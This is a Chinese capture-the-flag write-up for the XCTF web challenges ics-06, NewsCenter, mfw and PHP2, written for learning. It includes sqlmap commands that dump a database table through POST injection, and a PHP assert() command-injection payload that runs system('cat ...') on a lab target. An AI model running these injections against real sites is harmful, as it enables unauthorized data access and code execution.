攻防世界 WEB篇

0x01 ics-06

查看源码发现:index.php

攻防世界 WEB篇

一开始直接用sqlmap跑了下没有发现注入,然后用brupsuite爆破参数

攻防世界 WEB篇


0x02 NewsCenter

SQL注入中的POST注入,查阅资料(下方链接)获知注入方法!

python2 sqlmap.py -r post.txt

攻防世界 WEB篇

可以获得如下信息:

  1. mysql 5 数据库
  2. Linux Debian9.0的服务器系统
  3. Apache 2.4.25的

接着来查看该数据库的表:python2 sqlmap.py -r post.txt --dbs

攻防世界 WEB篇

  1. python2 sqlmap.py -r post.txt -D "news" -T "secret_table" --columns
  2. python2 sqlmap.py -r post.txt -D "news" -T "secret_table" -C "fl4g,id" --dump

攻防世界 WEB篇


0x03 mfw

没有发现注入点,扫一波目录看看

攻防世界 WEB篇

攻防世界 WEB篇

攻防世界 WEB篇

在templates目录下发现:

攻防世界 WEB篇

//flag.php
<?php
// TODO
// $FLAG = '';
?>
//index.php
<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert以及stroops的具体用法百度可知,要使得第一个assert检查第一个断言为False

payload

yoloyanng')or system("cat templates/flag.php");//
$file="templates/yoloyanng')or system("cat templates/flag.php");//.php";

最后执行的就是:

assert("strpos('templates/yoloyanng') or system("cat templates/flag.php");//, '..') === false") or die("Detected hacking attempt!");

最后执行语句:

strpos('templates/yoloyanng') or system("cat templates/flag.php")

攻防世界 WEB篇


0x04 PHP2

首先扫目录也没扫出什么东西来,后来得知是index.phps

上一篇:【DB笔试面试440】下列哪种完整性中,将每一条记录定义为表中的惟一实体,即不能重复()


下一篇:如何使用C++成员函数指针